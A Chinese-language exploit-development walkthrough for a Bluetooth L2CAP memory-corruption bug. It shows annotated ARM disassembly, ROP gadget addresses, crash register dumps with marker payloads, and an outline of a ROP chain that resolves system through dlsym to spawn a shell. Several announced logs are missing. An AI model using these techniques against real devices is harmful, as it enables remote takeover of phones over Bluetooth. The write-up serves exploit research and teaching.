.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => 将 R4 移动到 R0 => 设置 R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => 将 R1 移动到 R5 => 设置 R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => 测试 R4 = 0 => 测试 list_t* p_lcb->link_xmit_data_q 是否为空 .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => 测试 CMP => 如果 list_t* p_lcb->link_xmit_data_q 不为空则跳转 .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => 如果 R5 不为空则跳转 => 如果 BT_HDR* p_buf 不为空则跳转 .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => 从 R4+0x10 加载 R0 => 设置 R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => 从 R0 加载 R1 => 设置 R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => 将 8 移动到 R0 => 设置 R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => 带链接和交换分支到 R1 => 分支到受控的 R1 !!!
在受控分支到 R1 之前,寄存器包含:
为了找到 R4 指向的 list_t* p_lcb->link_xmit_data_q 中第一个负载的起始位置,我们使用了在 0x00125734 找到的 ldm gadget:
0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}
目标崩溃时的寄存器内容如下:
R4 = ade05278 = list_t* p_lcb->link_xmit_data_q,第一个负载在 + 0x894C(0x894C / 0x360 = 0x28 = 40 个数据包,我们可以访问第二个负载)
R0 = R4 + 0x0 = 0020de08
R1 = R4 + 0x4 = dead0000 = 第一个负载值 + 0x0
R2 = R4 + 0x8 = dead0001 = 第一个负载值 + 0x4
R3 = R4 + 0xC = dead0002 = 第一个负载值 + 0x8
R5 = R4 + 0x10 = ade0db14 = 第一个负载值 + 0xC = 第二个负载的地址 + 0x0
R6 = R4 + 0x14 = dead0003 = 第一个负载值 + 0x10
R7 = R4 + 0x18 = 00200004
R9 (SB) = R4 + 0x1C = dead0000 = 第一个负载值 + 0x0
R10 (SL) = R4 + 0x20 = dead0001 = 第一个负载值 + 0x4
R12 (IP) = R4 + 0x24 = dead0002 = 第一个负载值 + 0x8
R13 (SP) = R4 + 0x2C = ade0db14 = 第一个负载值 + 0xC = 第二个负载的地址 + 0x0
R14 (LR) = R4 + 0x30 = dead0003 = 第一个负载值 + 0x10
第一个负载每 0x14 字节重复一次,这是 list_t 结构的大小
typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 | l2cap 头部不可用 list_node_t* tail; | Size 0x4 | Offset 0x4 | 第一个负载值 + 0x0 size_t length; | Size 0x4 | Offset 0x8 | 第一个负载值 + 0x4 list_free_cb free_cb; | Size 0x4 | Offset 0xC | 第一个负载值 + 0x8 const allocator_t* allocator; | Size 0x4 | Offset 0x10 | 第一个负载值 + 0xC } list_t; | Size 0x14
为了找到 R5 指向的 BT_HDR* p_buff 中第二个负载的起始位置,我们使用了在 0x000dcecc 找到的 ldm gadget:
0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}
目标崩溃时的寄存器内容如下:
此加载多重指令没有递增,我们可以看到 BT_HDR* p_buff + 0x0 的内容是: 000e0000 00000000 000a2002 00010006 0002020a 00000002
同样的测试,使用在 0x0014b580 找到的带递增的加载多重 gadget: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^
目标崩溃的日志如下:
崩溃后寄存器包含:
递增情况下 BT_HDR* p_buff + 0x4 的内容是: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a
我们可以看到第二个负载在 BT_HDR* p_buff 中的 + 0x14 位置
########################################################################################
编写 ROP 链
########################################################################################
与 Jan Ruge 在 libicuuc 库中的做法类似,我们只能在蓝牙库中访问 dlsym 来找到 system 的地址以启动 shell
漏洞利用过程如下:- 在 mem_offset 180 处获取链接传输数据缓冲区队列条目的地址,并通过减去 176 计算数据包的基地址
详见代码说明
########################################################################################